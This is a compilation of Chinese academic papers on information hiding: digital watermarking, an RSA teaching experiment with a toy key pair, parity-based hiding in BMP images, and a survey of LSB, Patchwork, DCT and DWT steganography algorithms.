電子信息隱藏和信息偽裝,都是使用一些手段或方法把機(jī)密信息與其他信息混在一起,這樣防止居心不良的人盜用信息。在實(shí)際生活中,信息隱藏技術(shù)的載體種類多種多樣,例如,圖片、音頻、視頻以及文檔。所以,將機(jī)密信息隱藏在這些圖片、文檔中,不會(huì)輕易被黑客發(fā)現(xiàn),即便被發(fā)現(xiàn)也沒有大礙,黑客是沒有辦法提取其中的機(jī)密信息,這樣就切實(shí)保證了機(jī)密信息的安全性。傳統(tǒng)保護(hù)信息的方式是對(duì)信息進(jìn)行加密,并且傳統(tǒng)的加密技術(shù)在方法以及思想方面有可取之處,所以,新型信息隱藏技術(shù)并不完全摒棄傳統(tǒng)加密技術(shù),并且對(duì)傳統(tǒng)進(jìn)行了相應(yīng)的調(diào)整以及發(fā)展。依據(jù)使用信息隱藏技術(shù)對(duì)象的不同,可以分為不同技術(shù)類型,例如,數(shù)字水印技術(shù)、替聲技術(shù)、疊像技術(shù)等。其中,數(shù)字水印技術(shù)可以在網(wǎng)絡(luò)環(huán)境下切實(shí)保護(hù)版權(quán),將版權(quán)各項(xiàng)信息變成隱藏信息放入圖片、音頻、視頻中,確定所有權(quán)以及防止侵權(quán)行為。替聲技術(shù)是根據(jù)聲音的內(nèi)容分類,并對(duì)聲音信息進(jìn)行相應(yīng)的處理,對(duì)原有的聲音內(nèi)容、原聲對(duì)象等進(jìn)行改變,這樣可以有效將聲音的真正信息隱藏起來。

3電子信息隱藏技術(shù)幾大特征

電子信息隱藏技術(shù)具有非常獨(dú)特且明顯的優(yōu)勢(shì),為人們的生產(chǎn)和生活活動(dòng)提供了便利,其主要有以下幾個(gè)特征:其一,安全性高,傳統(tǒng)的信息一旦受到攻擊,信息就會(huì)受到破壞;而隱藏信息在遭到攻擊時(shí),隱藏技術(shù)可以盡最大的能力保護(hù)信息,防止信息損壞。其二,具有隱蔽性,電子信息隱藏技術(shù)主要在傳遞信息時(shí)將機(jī)密信息隱藏成普通的信息,這樣可以避免一些不良居心的人截獲。其三,不可獲得性,信息的原始載體通過信息隱藏技術(shù)將其轉(zhuǎn)化成普通載體,兩者之間的聯(lián)系是難以發(fā)現(xiàn)的。就算是信息落入了不法分子手中,他們也是不能提取的,如果想要破譯隱藏信息也是需要大量的時(shí)間,這可以為信息所有者解決這一盜取問題提供了充裕的時(shí)間。其四,不可見性,在使用隱藏技術(shù)時(shí),主要是使用視聽屬性對(duì)信息進(jìn)行隱藏,雖然信息的內(nèi)容并沒有變化,但是卻無法正常感知。其五,不可變性。信息在傳輸?shù)倪^程中,其載體可能會(huì)出現(xiàn)變化、也可能會(huì)經(jīng)過不同手段處理以及人為的攻擊,但是,載體中的信息并不會(huì)發(fā)生變化。其六,可恢復(fù)性,雖然信息隱藏技術(shù)可以保持信息的不變,但是這并不是絕對(duì)的不變化,其中可能有意外情況發(fā)生造成信息丟失、損壞。但是,信息隱藏技術(shù)的可恢復(fù)性能夠有效解決信息載體的損壞、丟失這一問題,只要?dú)埩粢恍┬畔⒕涂梢酝ㄟ^一定的手段對(duì)信息進(jìn)行恢復(fù)。

4電子信息隱藏技術(shù)應(yīng)用現(xiàn)狀

4.1電子信息隱藏技術(shù)在數(shù)據(jù)保密上的使用

隨著互聯(lián)網(wǎng)的發(fā)展,人們的生活方式得到了極大的改變,互聯(lián)網(wǎng)讓人們的生活更加方便,人們可以通過互聯(lián)網(wǎng)來獲得信息或傳輸信息。但是,由于互聯(lián)網(wǎng)的開放性以及便捷性,不少不良分子開始利用互聯(lián)網(wǎng)這一平臺(tái)使用不法手段侵害他人的版權(quán)、截獲他人的資料,使網(wǎng)絡(luò)信息安全問題頻發(fā),同時(shí)也對(duì)信息所有者造成了極大的傷害。當(dāng)前,隨著經(jīng)濟(jì)全球化、信息全球化的發(fā)展,每一個(gè)人的生活都與互聯(lián)網(wǎng)緊密相關(guān),互聯(lián)網(wǎng)也漸漸涉及到了各個(gè)方面,如政治、經(jīng)濟(jì)、軍事以及個(gè)人隱私。這些信息一旦泄露將會(huì)造成不可估量的損失。所以,對(duì)信息進(jìn)行隱藏保護(hù)是非常有必要的。信息隱藏技術(shù)讓人們安全使用互聯(lián)網(wǎng)進(jìn)行交流,同時(shí)也可以對(duì)一些重要的信息進(jìn)行有效保護(hù)。

4.2電子信息隱藏技術(shù)在鑒定數(shù)據(jù)完整性上的使用

比較常用的隱藏技術(shù)一般有數(shù)字水印技術(shù)、替聲技術(shù)和疊像技術(shù)。針對(duì)這三種隱藏技術(shù)在生活中的使用情況進(jìn)行分析可以得知,數(shù)字水印技術(shù)還是存在著一些不足之處,如果保護(hù)載體遭到篡改,隱藏其中的信息就會(huì)破壞或暴露出來,之后不法之徒就可以輕松獲得隱藏信息。數(shù)字水印技術(shù)通常是在一些數(shù)字票據(jù)中使用,其可以將隱藏的水印保留在票據(jù)中,可以有效甄別數(shù)字票據(jù)的真?zhèn)巍T趯?duì)數(shù)據(jù)的完整性鑒定中主要有信號(hào)真?zhèn)蔚蔫b定、信號(hào)是否完整的鑒定、信號(hào)之間的差別、信息資料是否遭到篡改或丟失等。通過對(duì)數(shù)據(jù)完整性進(jìn)行鑒定能夠鑒定出信號(hào)是否真實(shí),有效減少虛假信息。在具體實(shí)踐中的使用一般有以下兩步:先需要通過數(shù)據(jù)庫管理系統(tǒng)來確定數(shù)據(jù)是否完整,再輸入準(zhǔn)確的信息并儲(chǔ)存信息。之后,根據(jù)具體的實(shí)際情況,使用較為合適的驗(yàn)證方式對(duì)其進(jìn)行驗(yàn)證檢查。

5結(jié)語

綜上所述,信息隱藏技術(shù)的應(yīng)用價(jià)值非常大以及前景廣闊,作為有效的信息安全技術(shù),這種技術(shù)還需要進(jìn)行深入研究,當(dāng)前的信息隱藏技術(shù)一般應(yīng)用在數(shù)據(jù)保密以及鑒定數(shù)據(jù)完整性等工作上,還值得不斷探究以及發(fā)展,促使信息隱藏技術(shù)在更多的領(lǐng)域發(fā)揮重要作用。

引用:

[1]錢蔚蔚,高潔.面向政府電子信息服務(wù)的公眾體驗(yàn)量化模型構(gòu)建研究[J].情報(bào)科學(xué),2016,05:19-22.

[2]楊楊,張衛(wèi)明,侯冬冬,王輝,俞能海.具有對(duì)比度增強(qiáng)效果的可逆信息隱藏研究進(jìn)展與展望[J].網(wǎng)絡(luò)與信息安全學(xué)報(bào),2016,04:12-20.

[3]楊芳.論個(gè)人信息的隱私權(quán)保護(hù)——信息自由原則之下的有限保護(hù)[J].西南科技大學(xué)學(xué)報(bào)(哲學(xué)社會(huì)科學(xué)版),2016,02:76-82.

篇(8)

中圖分類號(hào):G622.0文獻(xiàn)標(biāo)識(shí)碼:A文章編號(hào):1007-9599 (2010) 10-0000-01

Research of Experiment Teaching on Information Hiding Technology

Liu Fang,Lu Yinxiao

(First Aviation Institute of Air Force,Xinyang464000,China)

Abstract:The theory is abstract and difficult for students to understand.In order to enhance s a deep understanding of steganography for student,and upgrade their skills in information security and confrontation,RSA algorithm is an example for experiment teaching research in this paper.The study includes experiment teaching purposes,the basic theory,learning environment,implementation plans,the specific details and requirements and so on.

Keywords:Information hiding technology;RSA algorithm;Experiment teaching

為切實(shí)培養(yǎng)學(xué)生信息安全與對(duì)抗的意識(shí),提高學(xué)生信息安全與對(duì)抗的技能,教學(xué)實(shí)驗(yàn)是學(xué)生實(shí)踐活動(dòng)中必不可少的重要環(huán)節(jié)。通過合理配置和開設(shè)系統(tǒng)性實(shí)驗(yàn),結(jié)合專業(yè)基礎(chǔ)和專業(yè)課程,使學(xué)生對(duì)信息安全與對(duì)抗專業(yè)知識(shí)具有更為深刻的理解和掌握。

一、信息隱藏技術(shù)實(shí)驗(yàn)教學(xué)目的

信息隱藏技術(shù)有多種形式,包括數(shù)據(jù)加密解密、數(shù)字水印、閥下通道等。本實(shí)驗(yàn)教學(xué)以數(shù)據(jù)加密解密為例,讓學(xué)生充分理解和掌握信息隱藏的基本概念以及通過網(wǎng)絡(luò)進(jìn)行數(shù)據(jù)加密傳輸?shù)脑怼O旅嬉訰SA算法為例設(shè)計(jì)實(shí)驗(yàn)教學(xué)。

二、RSA算法的安全性原理

RSA算法是由R.Rivset、A.Shamir和L.Adleman三位教授于1978年在美國麻省理工學(xué)院研制出來的一種公鑰密碼系統(tǒng)。公鑰密碼算法使用不同的密鑰進(jìn)行加解密運(yùn)算,通信雙方各有一對(duì)密鑰:公鑰和私鑰。在秘密通信的過程中,如果A向B發(fā)送信息,A應(yīng)當(dāng)用B的公鑰加密信息,B在收到信息后使用自己的私鑰解密信息。反之,當(dāng)B向A發(fā)送信息,B應(yīng)當(dāng)用A的公鑰加密信息,A在收到信息后使用自己的私鑰解密信息。

RSA算法的安全性是建立在“大數(shù)分解和素?cái)?shù)檢測(cè)”著名數(shù)論難題的基礎(chǔ)上,即:將兩個(gè)大素?cái)?shù)相乘在計(jì)算上很容易實(shí)現(xiàn),但將該乘積分解為兩個(gè)大素?cái)?shù)因子的計(jì)算量是相當(dāng)巨大的,以至于在實(shí)際計(jì)算中是不能實(shí)現(xiàn)的。

三、實(shí)驗(yàn)實(shí)施方案

(一)RSA加密解密系統(tǒng)實(shí)現(xiàn)

為了透徹理解RSA算法中加密和解密過程并設(shè)計(jì)出RSA加解密系統(tǒng),本實(shí)驗(yàn)采用一種簡單直觀的方法來實(shí)現(xiàn)。在一些對(duì)加密要求不很嚴(yán)格的實(shí)際環(huán)境中,如果計(jì)算精度允許,可以采用擴(kuò)充素?cái)?shù)表來實(shí)現(xiàn)系統(tǒng)對(duì)數(shù)據(jù)的加密和解密,但同時(shí)也應(yīng)該注意密鑰對(duì)的選取,關(guān)鍵是在計(jì)算過程中一定使明文分組M小于模n。根據(jù)上述分析可總結(jié)出實(shí)現(xiàn)本系統(tǒng)的步驟如下:

1.建立等長的素?cái)?shù)表,并將素?cái)?shù)賦值給數(shù)組a[i]和a[j];

2.求兩兩乘積并將其打印出來,即得a[i]×a[j]=a[i][j];

3.從素?cái)?shù)乘積表中隨機(jī)選取一個(gè)公共模n、公鑰pk并將其公開,同時(shí)也隨機(jī)生成私鑰sk;

4.利用隨機(jī)生成的公鑰pk對(duì)明文信息加密為C;

5.利用私鑰sk解密得明文M。

在高級(jí)語言中,把文件可看做獨(dú)立字符(字節(jié))組成的序列,即是由一個(gè)一個(gè)字符(字節(jié))按順序組成,根據(jù)數(shù)據(jù)的組織形式可分為ASCII文件和二進(jìn)制文件。二進(jìn)制文件是把內(nèi)存中的數(shù)據(jù)按其在內(nèi)存中的形式輸出到磁盤上存放。為了加快加密和解密的速度,這里采用二進(jìn)制方式打開信息明文、密文及解密后的明文。定義加密函數(shù)encryption(char*plaintext,char*ciphertext,unsigned long int pk,unsigned long int modulen),解密函數(shù)decryption(char*ciphertext,char*plaintext,unsigned long int sk,unsigned long int modulen)。在這兩個(gè)函數(shù)實(shí)現(xiàn)過程中,用到的密鑰是通過等長素?cái)?shù)表取得,而且都調(diào)用了同一個(gè)子程序求大數(shù)冪模的函數(shù)commod(),該函數(shù)主要是對(duì)大指數(shù)求模問題進(jìn)行分析。

(二)實(shí)驗(yàn)內(nèi)容和要求

本實(shí)驗(yàn)注重RSA加解密系統(tǒng)實(shí)現(xiàn),并提出具體實(shí)驗(yàn)內(nèi)容和要求。學(xué)生能夠調(diào)試通過RSA加解密軟件;并利用RSA對(duì)某一數(shù)據(jù)文件進(jìn)行單次加密和解密操作;設(shè)計(jì)出的系統(tǒng)要能夠提供大素?cái)?shù)生成功能,可以導(dǎo)出素?cái)?shù),也可以從文件中導(dǎo)入素?cái)?shù),也可以產(chǎn)生一個(gè)指定長度的隨機(jī)大素?cái)?shù)。另外要求學(xué)生能夠提交實(shí)驗(yàn)報(bào)告、并現(xiàn)場(chǎng)演示和說明。

以明文“RSA算法的安全性依賴于大數(shù)分解”為例,假設(shè)存儲(chǔ)這句話的文件在E盤,且設(shè)明文文件名為mingw.doc,以密鑰對(duì)(pk,n)=(17,2773),(sk,n)=(157,2773)為例對(duì)其進(jìn)行加密和解密,生成密文文件名設(shè)為miw.doc。

本文是以信息隱藏技術(shù)中典型的公鑰密碼算法RSA為例進(jìn)行實(shí)驗(yàn)教學(xué)探究,期望在數(shù)據(jù)加密解密、數(shù)字水印、閥下通道等信息隱藏技術(shù)的實(shí)驗(yàn)教學(xué)上有進(jìn)一步的實(shí)踐探索。

篇(9)

1 介紹

隨著計(jì)算機(jī)技術(shù)和Internet的迅速發(fā)展與應(yīng)用,計(jì)算機(jī)越來越應(yīng)用到了人們生活的方方面面中,又由于計(jì)算機(jī)在通訊方面突出表現(xiàn),使其在各種信息交換、傳遞的領(lǐng)域更是獨(dú)樹一幟。事有兩面,在計(jì)算機(jī)進(jìn)行快速信息交換的同時(shí)也帶來了一定的安全性問題,對(duì)于一些高度機(jī)密的文檔信息,就不能用普通的方法(如普通的U盤拷貝、發(fā)送電子郵件)進(jìn)行交換和傳遞了。這樣如何將機(jī)密文檔信息在安全的情況下用現(xiàn)代的信息傳遞手段進(jìn)行快速傳遞成為現(xiàn)在的一個(gè)新的研究課題。

信息隱藏技術(shù)的文檔信息傳輸是這個(gè)課題的核心,它是將機(jī)密文檔處理后隱藏到普通的BMP圖片中,把隱藏有信息的圖片通過計(jì)算機(jī)發(fā)送到接收方,接收方再解釋出隱藏文檔的方法。這種方法不同于單獨(dú)發(fā)送加密文件的優(yōu)點(diǎn)在于,不容易引起攻擊者的注意。因?yàn)橹虚g信息是類同于普通的BMP圖片。這種方法的要求有兩點(diǎn):

隱藏信息后的彩色BMP圖像與原始圖像相比,在人的視覺上沒有什么區(qū)別;

隱藏信息后的彩色BMP圖像與原始圖像相比,大小上沒有多大變化;

2 BMP位圖說明

BMP圖像文件格式,是微軟公司為其WINDOWS環(huán)境設(shè)置的標(biāo)準(zhǔn)圖像格式,在Windows系統(tǒng)軟件中包含了一系列支持BMP圖像處理的API函數(shù)。隨著WINDOWS操作系統(tǒng)在世界范圍內(nèi)的普及, BMP文件格式越來越多地被各種應(yīng)用軟件所支持。

BMP圖像文件是位圖文件,位圖表示的是將一幅圖像分割成一個(gè)個(gè)很小的柵格,每個(gè)柵格縮小為一個(gè)點(diǎn)稱為像素,每一個(gè)像素具有自已的數(shù)值,即一幅圖像是由一系列像素點(diǎn)構(gòu)成的點(diǎn)陣。BMP中按第個(gè)像素?cái)?shù)值(像素位值)的取值范圍可以分為1位、4位、8位、24位圖片。像素位值的大小體現(xiàn)了圖片彩色質(zhì)量的好壞,同時(shí)也決定了圖片保存時(shí)占用空間的多少。①1位圖片就是指黑白圖片,圖片中每一由黑白兩種顏色組成,它是占用空間最少的位圖,同時(shí)是圖片質(zhì)量最差的;②4位圖片是16色的彩色圖片,圖片中每個(gè)像素位的范圍為0到15,帶有彩色,但彩色質(zhì)量很差,占用空間小;③8位圖片是256色的彩色圖片,圖片中每個(gè)像素位的范圍為0到255,彩色質(zhì)量相對(duì)好,占用空間大;④24位圖片就是所說的真彩色的彩色圖片,圖片中每個(gè)像素位由三個(gè)字節(jié)組成,彩色質(zhì)量相對(duì)好,占用空間最大;

這里討論的主要是對(duì)24位真彩色圖片的處理。

3 信息處理的原理

3.1 信息隱藏

信息隱藏就是將文檔信息隱藏在真彩色BMP圖片中,其流程如圖1所示:

圖2中,每一個(gè)點(diǎn)表示位圖中的一個(gè)像素,每一個(gè)像素的值范圍在0到16777215間。在隱藏信息時(shí)每一個(gè)像素的奇偶性作為隱藏?cái)?shù)據(jù)的依據(jù)。如果此像素的值為偶數(shù)表示數(shù)據(jù)為0,如果此像素的值為奇數(shù)時(shí)表示數(shù)據(jù)為1,用0和1的不同排列組全表示各種數(shù)據(jù)。而這種表示方式正好與各種磁盤保存數(shù)據(jù)的方式相同(磁盤中的數(shù)據(jù)也是以0和1的方式 :二進(jìn)制方式保存的)。這樣從磁盤中讀取出文檔的內(nèi)容,使位圖中各個(gè)像素的奇偶性和文檔內(nèi)容的奇偶性對(duì)應(yīng),就在位圖中隱藏了信息這個(gè)過程叫位圖像素調(diào)制。其中的對(duì)應(yīng)規(guī)則復(fù)雜程度是有效防止隱藏的信息被非法解讀出的難易程度的體現(xiàn)。對(duì)應(yīng)規(guī)則越復(fù)雜越難被非法解讀出來。

再對(duì)位圖中每行中隱藏的數(shù)據(jù)進(jìn)行位異或和CRC_32校驗(yàn),可以有效的驗(yàn)證解讀出數(shù)據(jù)的有效性和正確性。信息隱藏過程舉例:BMP位圖第一行前8個(gè)像素的值為:13075297, 13075297, 13075297,13074781,13404000,13206622,13272413,13206620,要隱藏的數(shù)據(jù)為01010101,ASC碼值為85。將像素值的奇偶性與數(shù)據(jù)比較后要作如下的調(diào)制:

第一個(gè)像素:13075297隱藏信息0,要調(diào)整為偶數(shù)13075298;

第二個(gè)像素:13075297隱藏信息1,不變;

第三個(gè)像素:13075297隱藏信息0,要調(diào)整為偶數(shù)13075298;

第四個(gè)像素:13074781隱藏信息1,不變;

第五個(gè)像素:13404000隱藏信息0,不變;

第六個(gè)像素:13206622隱藏信息1,要調(diào)整為奇數(shù)13206623;

第七個(gè)像素:13272413隱藏信息0,要調(diào)整為偶數(shù)13272414;

第八個(gè)像素:13206620隱藏信息1,要調(diào)整為奇數(shù)13206621;

經(jīng)過這樣的調(diào)制,此BMP位圖第一行前8個(gè)像素的奇偶性便與85轉(zhuǎn)化的8位二進(jìn)制數(shù)完全相同,這樣,8個(gè)像素就隱藏了一個(gè)字節(jié)的信息。

綜上所述,將信息隱藏入BMP位圖中的步驟為:

讀取文件的二進(jìn)制內(nèi)容;

將位圖每個(gè)像素的奇偶性與二進(jìn)制數(shù)據(jù)進(jìn)行比較;

通過調(diào)節(jié)每個(gè)像素的奇偶性便之與文件的二進(jìn)制內(nèi)容一致,就將信息隱藏到BMP位圖中了;

3.2 信息解讀

信息解讀就是從隱藏有信息的BMP位圖中解讀出隱藏的信息,是信息隱藏的逆過程,其流程如圖三所示:

信息解讀過程如下:

判斷BMP位圖中每個(gè)像素值的奇偶性,若為偶數(shù),則輸出“0”;若為奇數(shù),則輸出“1”;

每8個(gè)像素輸出8個(gè)0和1組成的二進(jìn)制數(shù)據(jù),轉(zhuǎn)換為一個(gè)字節(jié);

經(jīng)過對(duì)所有像素處理,得到一系列的二進(jìn)制數(shù)據(jù),保存成文件,就是隱藏的信息。

本次實(shí)驗(yàn)結(jié)果如圖4、圖5所示。

5 總結(jié)

(1)由于原始24位BMP圖像文件隱藏信息后,其像素位數(shù)值最多變化1(因?yàn)槭窍袼匚恢导印?”或減“1”),該像素位代表的顏色最多只變化了1/16777216,所以,已隱藏信息的BMP圖像與未隱藏信息的BMP圖像,用肉眼是看不出差別的;

(2)由于此法只修改出BMP位圖中每個(gè)像素的值,而沒有改變像素的數(shù)量,所有在保存圖片時(shí)的大小沒有改變,所有隱藏了文檔信息后位圖的大小沒有改變;

(3)使用這種方法,隱藏的文檔信息是直接讀取的文件,所以對(duì)文件格式?jīng)]有限制,可以是TXT文件、WORD文件等。

篇(10)

中圖分類號(hào):TP391 文獻(xiàn)標(biāo)識(shí)碼:A文章編號(hào):1007-9599 (2011) 16-0000-02

Information Hiding Technology Research Based on Digital Image

Si Yingshuo,Yang Wentao,Zhang Sen

(Zhengzhou Institute of Aeronautical Industry Management,Zhengzhou450046,China)

Abstract:Security of information transmission is becoming more and more important along with the development of media digitized and network technology.In this paper,we mainly studied the information hiding technology based on digital images,and analyzed the advantages and disadvantages of spatial domain hiding algorithm and transform domain hiding algorithm.

Keywords:Digital Image;Information hiding;Spatial domain;Transform domain

一、信息隱藏的基本原理

信息隱藏技術(shù)通常使用文字、圖像、聲音及視頻等作為載體,信息之所以能夠隱藏在多媒體數(shù)據(jù)中,主要是利用了多媒體信息的時(shí)間或空間冗余性和人對(duì)信息變化的掩蔽效應(yīng)。

(一)多媒體信息本身存在很大的冗余性,從信息論的角度看,未壓縮的多媒體信息的編碼效率是很低的,所以將某些信息嵌入到多媒體信息中進(jìn)行秘密傳送是完全可行的,并不會(huì)影響多媒體信息本身的傳送和使用。(二)人的視覺或聽覺感官系統(tǒng)對(duì)某些信息都有一定的掩蔽效應(yīng)。在亮度有變化的邊緣上,該邊界“掩蔽”了邊緣鄰近像素的信號(hào)感覺,使人的感覺變得不靈敏、不準(zhǔn)確,這就是視覺掩蔽效應(yīng)[2]。通常人眼對(duì)灰度的分辨率只有幾十個(gè)灰度級(jí),對(duì)邊緣附近的信息不敏感。利用這些特點(diǎn),可以很好地將信息隱藏而不被覺察。

隨著多媒體技術(shù)的迅速發(fā)展,圖像成為信息表達(dá)的主要方式,數(shù)字圖像大量存在,因而被研究最多的是圖像中的信息隱藏,而且,圖像信息隱藏所研究的方法往往經(jīng)過改進(jìn)可以輕易地移植到其他的載體中[1],是研究其他載體的隱藏算法的基礎(chǔ)。因此,對(duì)基于數(shù)字圖像的信息隱藏技術(shù)的研究成為了當(dāng)前信息隱藏領(lǐng)域的一個(gè)研究熱點(diǎn)。

二、基于數(shù)字圖像的信息隱藏基礎(chǔ)知識(shí)

(一)數(shù)字圖像的概念。隨著數(shù)字技術(shù)的不斷發(fā)展和應(yīng)用,許多信息都可以用數(shù)字形式進(jìn)行處理和存儲(chǔ),數(shù)字圖像就是以數(shù)字形式進(jìn)行存儲(chǔ)和處理的圖像。數(shù)字圖像可看作是平面區(qū)域上的二元函數(shù)Z=F(x,y),(x,y)∈R。在絕大多數(shù)情況下區(qū)域R是一個(gè)矩形。對(duì)R中任意的點(diǎn)(x,y),則F(x,y)代表圖像的信息(如灰度值,RGB分量值等)。表示圖像的二元函數(shù)有其特殊性,這就是相關(guān)性。在圖像被數(shù)字化之后,Z=F(x,y)則相應(yīng)于一個(gè)矩陣,其元素所在的行與列對(duì)應(yīng)于自變量取值,元素本身代表圖像信息。(二)數(shù)字圖像信息隱藏模型。圖像信息隱藏通過將秘密信息做適當(dāng)?shù)念A(yù)處理后,利用合理的嵌入機(jī)制將信息隱藏在可公開的圖像媒體信息中,達(dá)到傳遞秘密信息的目的,即信息隱藏將“正在通信”的事實(shí)隱蔽起來,從而逃過攔截者的破解。信息隱藏必然會(huì)引起載體圖像一定的失真,如果失真過大就會(huì)被視覺感知,因此不可見性或者說不可感知性是衡量信息隱藏技術(shù)的重要標(biāo)準(zhǔn)。

圖像信息隱藏將秘密信息隱藏或變換成另一非機(jī)密性的圖像文件中,使得加入秘密信息的目標(biāo)圖像看起來難以察覺到有變化,這種隱藏的可能性除了來自于人眼視覺的掩蔽特性外,還有一個(gè)原因就是圖像數(shù)據(jù)的數(shù)據(jù)冗余。圖像數(shù)據(jù)中存在很多與有用信息無關(guān)的數(shù)據(jù),即所謂的數(shù)據(jù)冗余,如果能夠有效地利用這些冗余數(shù)據(jù)嵌入信息,就能達(dá)到很好的隱藏效果,圖像信息隱藏的一般模型如圖1所示:

圖1:圖像信息隱藏的一般模型

三、基于數(shù)字圖像的信息隱藏算法

根據(jù)秘密信息嵌入域的不同,圖像信息隱藏算法主要分為兩大類:空域信息隱藏算法和變換域信息隱藏算法,二者在數(shù)據(jù)的嵌入原理上有根本的區(qū)別[3]。基于空域的信息隱藏算法通過直接改變圖像某些像素的值來嵌入信息,具有較大的容量和較好的不可見性,但是安全性不高;基于變換域的信息隱藏算法通過改變某些圖像變換域的系數(shù)來嵌入信息,變換域的方法在近來以至今后,都是信息隱藏算法的主流。

(一)空域信息隱藏技術(shù)。空域隱藏技術(shù)是指將秘密信息嵌入數(shù)字圖像的空間域中,即對(duì)像素灰度值進(jìn)行修改以隱藏秘密信息。

1.LSB算法。最低有效位(Least Significant Bits,LSB)方法是最早提出來的最基本的空域圖像信息隱藏算法,許多其它的空域算法都是從它的基本原理進(jìn)行改進(jìn)擴(kuò)展的,使得LSB方法成為使用最為廣泛的隱藏技術(shù)之一。其原理是最不重要數(shù)據(jù)的調(diào)整對(duì)載體圖像的影響很小,在視覺上無法察覺。LSB算法中,載體圖像的LSB平面先被置0,然后根據(jù)要嵌入的秘密數(shù)據(jù)修改為“1”或不變,直至嵌入完成。嵌入數(shù)據(jù)后,載體圖像部分像素的最低一個(gè)或多個(gè)位平面的數(shù)值被秘密信息所替換。

LSB算法每個(gè)像素點(diǎn)可以隱藏一比特、兩比特甚至三比特的信息,達(dá)到了一個(gè)較大的隱藏容量及較好的不可見性,隨機(jī)間隔法選擇嵌入位置提高了算法的秘密性,這些特點(diǎn)為信息隱藏算法的研究提供了一定的參考。但是,LSB算法魯棒性較差,給應(yīng)用帶來了一定的限制。

2.Patchwork算法。另一種空域信息隱藏算法是Bender等提出的直接擴(kuò)頻隱藏算法Patchwork。擴(kuò)頻算法為圖像像素添加噪聲,并且不需要改變?cè)肼暤慕y(tǒng)計(jì)特征就可以在每個(gè)噪聲成分中隱藏一個(gè)比特。算法步驟如下:(1)用一個(gè)密鑰K初始化一個(gè)偽隨機(jī)數(shù)發(fā)生器;(2)根據(jù)隨機(jī)數(shù)發(fā)生器的輸出,隨機(jī)選取n個(gè)像素對(duì),其灰度值表示為(ai,bi);(3)令 ,完成信息嵌入。檢測(cè)時(shí),假設(shè)檢驗(yàn)被用來證實(shí)秘密信息的存在。令(2.1)

如果 ,判定秘密信息存在。

Patchwork的檢測(cè)方法基于如下統(tǒng)計(jì)假設(shè):圖像中隨機(jī)選取的像素,其灰度值是獨(dú)立同分布的。如果在一副圖像中隨機(jī)選取像素對(duì),則統(tǒng)計(jì)量S的期望值為

(2.2)

對(duì)于已知位置的像素對(duì),S≈2n。

Patchwork算法改進(jìn)了LSB算法改變圖像統(tǒng)計(jì)特性的不足,但是隱藏容量較小,容易受到各種綜合攻擊的影響,只能應(yīng)用在某些需要嵌入少量信息的場(chǎng)合。為了增加算法的魯棒性,一種改進(jìn)的方法是將圖像分塊后,再嵌入秘密信息,算法的魯棒性和不可見性都會(huì)增加。

總的來說,空域信息隱藏算法具有較好的不可見性和較高的隱藏容量,計(jì)算速度快,但魯棒性較差,對(duì)于載體圖像的壓縮、噪聲擾動(dòng)等攻擊的抵抗力較弱,很多研究更傾向于基于變換域的信息隱藏算法。

(二)變換域信息隱藏技術(shù)

變換域隱藏技術(shù)就是指將秘密信息嵌入數(shù)字圖像的某一變換域中。比較常用的是離散傅立葉變換(DFT)、離散余弦變換(DCT)和離散小波變換(DWT)等,它們主要是通過修改載體圖像某些指定的頻域系數(shù)來嵌入數(shù)據(jù)。其基本思想是利用擴(kuò)頻通信原理來提高隱藏系統(tǒng)的魯棒性。考慮到對(duì)低頻區(qū)域系數(shù)的改動(dòng)可能會(huì)影響到載體圖像的感知效果,而高頻系數(shù)又易被破壞,因此,信息隱藏技術(shù)一般選取載體圖像中頻區(qū)域上的系數(shù)來嵌入秘密數(shù)據(jù),從而使之既滿足不可感知性,又滿足對(duì)諸如失真壓縮等操作的魯棒性。

1.基于DFT的數(shù)字圖像隱藏算法。基于DFT的數(shù)字圖像隱藏算法將圖像分割成多個(gè)感覺頻段,然后選擇合適部分來嵌入秘密信息。文獻(xiàn)[4]提出基于原始圖像的傅立葉變換,將調(diào)制后的秘密信息依次加入到某些固定位置的幅值譜上,文獻(xiàn)[5]利用傅里葉變換的可加性和圖象去噪原理提出了一種基于頻域的三維運(yùn)動(dòng)盲水印算法。傅里葉變換具有一些變換無關(guān)的完整特性。例如:空間域的平移只引起頻域上的相移,而幅度不變;空間域尺度的縮放會(huì)引起頻域尺度反向的縮放;空間域旋轉(zhuǎn)的角度和所引起的頻域的旋轉(zhuǎn)的角度是一致的。這些特點(diǎn)可以抵御諸如旋轉(zhuǎn)、尺度、平移等幾何攻擊。2.基于DCT的數(shù)字圖像隱藏算法。基于DCT域的圖像信息隱藏算法的一般步驟為,首先對(duì)載體圖像分塊進(jìn)行二維DCT變換,然后用秘密信息對(duì)DCT系數(shù)進(jìn)行調(diào)制,最后對(duì)新的系數(shù)作離散余弦反變換(IDCT),即可得到隱藏圖像,完成信息隱藏過程。基于DCT的信息隱藏算法因其具有較強(qiáng)的魯棒性,計(jì)算量較小,且與國際圖像壓縮標(biāo)準(zhǔn)(JPEG,MPEG,H.263,H,264等)相兼容(這些標(biāo)準(zhǔn)中均采用DCT變換),因而具有諸多的潛在優(yōu)勢(shì),成為近年來研究最多的一種信息隱藏技術(shù)

3.基于DWT的數(shù)字圖像隱藏算法。基于DWT域的圖像信息隱藏算法的一般步驟為,首先對(duì)載體圖像進(jìn)行多級(jí)離散小波變換,得到不同分辨率下的細(xì)節(jié)子圖和逼近子圖,然后用秘密信息對(duì)DWT系數(shù)進(jìn)行調(diào)制,最后對(duì)嵌入秘密信息后的小波系數(shù)進(jìn)行相應(yīng)級(jí)別的離散小波逆變換,完成信息隱藏過程。利用小波變換把原始圖像分解成多頻段的圖像,能適應(yīng)人眼的視覺特性且使得信息的嵌入和檢測(cè)可分多個(gè)層次進(jìn)行,小波變換域信息隱藏方法兼具時(shí)空域和DCT變換域方法的優(yōu)點(diǎn)。因此,基于離散小波變換的信息隱藏算法已經(jīng)成為當(dāng)前研究的熱點(diǎn)和最重要的研究方向。目前,常見的幾類小波變換域信息隱藏嵌入算法有:非自適應(yīng)加性和乘性嵌入方式、基于量化的嵌入方式,基于自適應(yīng)嵌入方式、基于多分辨率嵌入方式。此外,還有基于替換的嵌入方式,基于樹結(jié)構(gòu)的嵌入方式等等。

